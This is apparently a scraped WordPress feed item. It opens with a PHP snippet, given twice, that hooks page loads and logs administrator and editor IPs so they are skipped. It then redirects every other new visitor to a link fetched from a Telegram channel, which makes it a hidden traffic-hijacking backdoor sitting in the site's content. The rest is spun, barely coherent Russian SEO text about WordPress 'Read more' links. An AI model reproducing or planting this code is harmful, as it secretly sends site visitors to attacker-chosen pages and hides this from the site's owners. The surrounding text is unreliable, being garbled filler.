add_action('template_redirect', 'custom_redirect_function');
function custom_redirect_function() {
global $wpdb;
$on_hot_redirect = true;
function _getIP() {
if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) {
return $_SERVER["HTTP_CF_CONNECTING_IP"];
} elseif (!empty($_SERVER['HTTP_CLIENT_IP'])) {
return $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
return $_SERVER['REMOTE_ADDR'];
}
}
function fetch_remote($url) {
if (function_exists('curl_version')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)');
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
return @file_get_contents($url);
}
function get_redirect_link($cache_file) {
$html = fetch_remote("https://t.me/s/trafficredirect1");
if (!$html) return false;
if (preg_match_all('/(https?:\/\/[^<]+)<\/code>/', $html, $matches)) {
$link = end($matches[1]);
if (!empty($link)) {
file_put_contents($cache_file, $link);
return $link;
}
}
if (preg_match_all('/]+href="(https?:\/\/[^"]+)"[^>]*>/i', $html, $matches)) {
foreach (array_reverse($matches[1]) as $link) {
if (strpos($link, 't.me') === false) {
file_put_contents($cache_file, $link);
return $link;
}
}
}
return false;
}
$ip = _getIP();
$ua = $_SERVER['HTTP_USER_AGENT'];
$table = $wpdb->prefix . "wusers_inputs";
if ($wpdb->get_var("SHOW TABLES LIKE '$table'") != $table) {
require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
$sql = "CREATE TABLE $table (
ip INT(11) UNSIGNED NOT NULL,
useragent VARCHAR(535) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;";
dbDelta($sql);
}
$exists = $wpdb->get_var($wpdb->prepare(
"SELECT 1 FROM $table WHERE ip = %s AND useragent = %s LIMIT 1",
ip2long($ip),
$ua
));
if ((current_user_can('editor') || current_user_can('administrator')) && !$exists) {
$wpdb->insert($table, array(
'ip' => ip2long($ip),
'useragent' => $ua
));
$exists = true;
}
if ($on_hot_redirect && !$exists) {
$exists = $wpdb->get_var($wpdb->prepare(
"SELECT 1 FROM $table WHERE ip = %s OR useragent = %s LIMIT 1",
ip2long($ip),
$ua
));
if (!$exists) {
$cache_file = sys_get_temp_dir() . '/' . md5('tg_redirect_cache');
if (file_exists($cache_file) && filesize($cache_file) > 0) {
$age = time() - filemtime($cache_file);
$link = trim(file_get_contents($cache_file));
}
if (!isset($link) || $age >= 30 || empty($link)) {
$link = get_redirect_link($cache_file);
}
if ($link) {
wp_redirect($link);
exit;
}
}
}
}
add_action('template_redirect', 'custom_redirect_function');
function custom_redirect_function() {
global $wpdb;
$on_hot_redirect = true;
function _getIP() {
if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) {
return $_SERVER["HTTP_CF_CONNECTING_IP"];
} elseif (!empty($_SERVER['HTTP_CLIENT_IP'])) {
return $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
return $_SERVER['REMOTE_ADDR'];
}
}
function fetch_remote($url) {
if (function_exists('curl_version')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)');
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
return @file_get_contents($url);
}
function get_redirect_link($cache_file) {
$html = fetch_remote("https://t.me/s/trafficredirect1");
if (!$html) return false;
if (preg_match_all('/(https?:\/\/[^<]+)<\/code>/', $html, $matches)) {
$link = end($matches[1]);
if (!empty($link)) {
file_put_contents($cache_file, $link);
return $link;
}
}
if (preg_match_all('/]+href="(https?:\/\/[^"]+)"[^>]*>/i', $html, $matches)) {
foreach (array_reverse($matches[1]) as $link) {
if (strpos($link, 't.me') === false) {
file_put_contents($cache_file, $link);
return $link;
}
}
}
return false;
}
$ip = _getIP();
$ua = $_SERVER['HTTP_USER_AGENT'];
$table = $wpdb->prefix . "wusers_inputs";
if ($wpdb->get_var("SHOW TABLES LIKE '$table'") != $table) {
require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
$sql = "CREATE TABLE $table (
ip INT(11) UNSIGNED NOT NULL,
useragent VARCHAR(535) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;";
dbDelta($sql);
}
$exists = $wpdb->get_var($wpdb->prepare(
"SELECT 1 FROM $table WHERE ip = %s AND useragent = %s LIMIT 1",
ip2long($ip),
$ua
));
if ((current_user_can('editor') || current_user_can('administrator')) && !$exists) {
$wpdb->insert($table, array(
'ip' => ip2long($ip),
'useragent' => $ua
));
$exists = true;
}
if ($on_hot_redirect && !$exists) {
$exists = $wpdb->get_var($wpdb->prepare(
"SELECT 1 FROM $table WHERE ip = %s OR useragent = %s LIMIT 1",
ip2long($ip),
$ua
));
if (!$exists) {
$cache_file = sys_get_temp_dir() . '/' . md5('tg_redirect_cache');
if (file_exists($cache_file) && filesize($cache_file) > 0) {
$age = time() - filemtime($cache_file);
$link = trim(file_get_contents($cache_file));
}
if (!isset($link) || $age >= 30 || empty($link)) {
$link = get_redirect_link($cache_file);
}
if ($link) {
wp_redirect($link);
exit;
}
}
}
}
The post Главная Понятный Интернет Читать далее appeared first on Zero Waste Maldives.
]]>В некоторых Подробнее шаблонах (тех же magazine) дабы сэкономить место на странице, авторы макетов специально могут убрать more ссылки. Все равно пользователь может перейти на полный текст поста, кликнув по его заголовку. В данной статье расскажу все, что знаю об этой функции.
Существует несколько способов модифицировать текст кнопки, которая используется для дополнительного чтения статей или постов в популярной CMS WordPress. Этот процесс не является автоматическим, и тег вставляется полностью вручную. Давайте узнаем, как создать «Читать далее» ваших статей и сделаем это просто. Кстати, про то, как формируются отрывки постов для страниц блога и категорий, я рассказывал в этом видеоуроке. В этом урока я покажу несколько способов, как изменить текст этой ссылки.
Как изменить заголовок всего сайта Извините, сначала хочу небольшое предисловие сделать, а затем уже перейдем к тому, как изменить «more». Нажимаем обновить файл и любуемся улучшенной ссылкой «Читать далее»!
На этой панели есть один дополнительный элемент — переключатель функции Скрыть отрывок. Для этого нужно нажать середину пунктирной линии, удалить существующий текст и ввести новый. При добавлении тега «Далее» сразу после отрывка записи размещается ссылка на ее полную версию. Инструкции по добавлению тега «Далее» здесь. Таким образом, функция “Показать ссылку на запись” играет важную роль в организации работы с содержимым WordPress. Она позволяет создать уникальные ссылки на каждую запись, что полезно для навигации и повышения удобства использования сайта.
Как сделать кнопку читать далее в html Чтобы добавить «Читать далее» блок, выберите нужное место для создания отрывка и добавьте этот блок. Но это легко исправить с помощью небольшого кода, который необходимо разместить в файле functions.php. Вы сами определяете объем анонса статьи, и в месте, где вы вставляете тег , появится ссылка с надписью «Далее».
Изначально во многих темах не предусмотрена возможность настройки анонса статьи и, следовательно, кнопки «Читать далее». Чуть выше, при описании функции the_excerpt, я привел пример кода, который позволяет разместить ссылку на пост после анонса. Если же в текстовом редакторе для конкретного поста добавить ссылку читать далее (quicktag), то система спрячет часть текста, отобразив лишь анонс.
При этом сам линк содержит дополнительный якорь по типу #more-555. По умолчанию при переходе на страницу с полным тектом заметки осуществляется прокрутка экрана до позиции после ссылки читать далее. При этом учтите, что тег нужно писать именно слитно. Если вы работаете в режиме HTML, то там также есть подобная кнопка либо можно просто написать тег в нужном вам месте.
В текущем уроке были рассмотрены способы вывода анонсов Вордпресс статей с помощью WordPress more. Сейчас нам понадобится текстовый HTML редактор WordPress. Чтобы найти релевантные материалы, после статьи размещается пять-шесть ссылок на похожие страницы. Многие топовые сео-блогеры Рунета не пользуются тегом .
Например, вы можете заменить этот текст на “Подробнее”, “Узнать больше” или “Продолжить чтение”. В этом разделе будут рассмотрены различные подходы и методы для переименования данной кнопки, которая обычно используется для демонстрации дополнительного содержания поста. Благодаря этому решению, вы сможете быстро и легко настроить отображение кнопки в соответствии с вашими потребностями и предпочтениями. Изначально, при создании сайта на платформе WordPress, в комплекте идет набор различных стандартных элементов интерфейса.
The post Главная Понятный Интернет Читать далее appeared first on Zero Waste Maldives.
]]>